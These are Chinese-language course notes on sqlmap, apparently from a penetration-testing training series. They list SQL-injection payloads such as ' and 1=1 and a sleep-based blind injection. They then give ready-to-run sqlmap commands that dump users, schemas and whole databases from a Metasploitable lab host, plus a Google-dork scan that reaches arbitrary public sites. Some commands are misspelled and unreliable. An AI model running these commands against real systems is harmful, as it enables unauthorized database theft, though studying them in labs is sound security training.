任務093:SQLMAP- 自動注入 筆記
1. sqlmap介紹
-
介紹
-
開源sql注入漏洞檢測,利用
-
檢測動態頁面中get/post參數,cookie,http頭
-
數據榨取
-
文件訪問
-
操作系統命令執行
-
引擎強大,特性豐富
-
Xss漏洞檢測
-
-
五種漏洞檢測技術
-
基於布爾的盲注檢測
- ’ and 1=1
-
基於時間的盲注檢測基於錯誤的檢測
- ’ and (select * from (select(sleep(20)))a)–+
-
基於UNION聯合查詢的檢測
- 適用於通過循環直接輸出聯合查詢結果,否則只顯示第一項結果
-
基於堆疊查詢的檢測
-
;堆疊多個查詢語句
-
適用於非select的數據修改、刪除的操作
-
-
支持的數據庫管理系統DBMS
MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB
-
3. 其他特性
-
數據庫直接連接-d與burpsuite、google結合使用,支持正則表達式限定測試目標
- 不通過SQL注入,制定身份認證信息、P、端口
-
Get、post、cookie、Referer、UserAgent (隨機或指定)限速: 最大併發、延遲發送
- Cookie過期後自動處理Set-Cookie頭,更新cookie信息
-
支持Basic,Digest,NTLM,CA身份認證
-
數據庫版本、用戶、權限、hash枚舉和字典破解、暴力破解表列名稱
-
文件上傳下載、UDF、啓動並執行存儲過程、操作系統命令執行、訪問windows註冊表
-
與w3af、metasploit集成結合使用,基於數據庫服務進程提權和上傳執行後門
實際操作
顯示
-h或是--help 都是查看基本常用的參數
-hh 查看詳細參數
-v 查看返回結果信息0-6,6是查看返回最詳細信息0是最低。默認是1
指定目標
-d 直接連接數據庫,當客戶端來使用
-u “URL地址” 定一個URL這個URL必須是帶變量的像http://www.site.com/vuln.php?id=1
-l 文件 導入一個文件可以來自Burp和WebScarab代理記錄的文件
r-x xxx.xml 來自遠程站點地圖(.xml)文件的x站點地圖url解析目標
-m 要指定的文件 多個目標URL保持到文件裏-m就會用文件裏的
-r 請求信息的文件 叫請求信息保存成一個文件-r就會讀取文件裏的請求信息進行注入探測
-g 用谷歌搜索引擎訪問然後在進行掃描
-c 文件名 叫要sqlmap執行的參數保存的到文件裏-c就會用文件裏的內容
下面就用上面的參數進行演示
靶機metasploitable-linux-2.0.0裏的phpMyAdmin裏的靶機
1. 命令
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username -f
-p是要指定的變量名之對這個變量進行檢查探測
-f是檢查檢查指紋信息
總體來說就是檢查這個URL裏的username進行指紋檢查看見查
2. 查看讀取數據庫賬號
命令
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username --usere
--usere是查看讀取數據庫賬號
3. 查看數據庫的版本
命令
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username --banner
–banner就是查看數據庫的版本類型的
4. 查看你數據管理系統有多少庫顯示庫名
命令
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username --dbs
–dbs查看你數據管理系統有多少庫顯示庫名
5. 查看原數據庫
命令
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username --schema
–schema查看原數據庫 前提的有權限查詢schema庫的權限
6. 查看你所以的內容
命令
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username -a
-a是查看你所以的內容
7. 直接連接數據庫進行查詢查詢的更快,但是你得的數據庫帳號密碼 列:sqlmap -d “mysql://帳號:密碼@192.168.20.10:3306/dvwa” -a
也可以用其他參數如–dbs了
靶機沒有密碼輸入帳號直接就可以連接了
命令
sqlmap -d "mysql://root:@172.16.103.128:3306/dvwa" -a
8. 掃描 google 搜索結果這個是需要翻牆的
命令
sqlmap.py -g "inurl:\".php?id=1\""
-g就是用google 搜索結果
9. 用 url 列表文件進行掃描
命令
sqlmap -m 文件名
-m是指定一個文件文件裏存放多個url地址然後在進行文件裏的多個url進行選擇性掃描
10.使用和請求文件和 POST文件方法進行掃描
用burp或者用其他工具進行抓取請求內容然後保存一個文件裏
帳號密碼幾乎都是用POST進行傳輸的很少用UIL進行傳輸url裏沒有傳輸帳號密碼那麼就在POST請求裏
10.1使用http請求文件
這個後面可以跟參數的
命令
sqkmap -r 請求保存的文件 -a
10.2使用burpsuite log文件
用burp工具的請求的過程保存成一個log文件然後在用sqlmao讀取log文件然後在漏洞的注入
保存log文件
命令
sqlmap -l a
掃描會非常長後面可以加參數
11. HTTPS
命令
sqlmap -u "https://1.1.1.1/a.php?id=1:8843" --force-ssl
12.配置文件進行掃描
就是叫要掃描的URL保存到一個文件裏然後sqlmap在讀取文件裏的URL裏的目標地址進行掃描
命令
sqlmap -c sqlmap.txt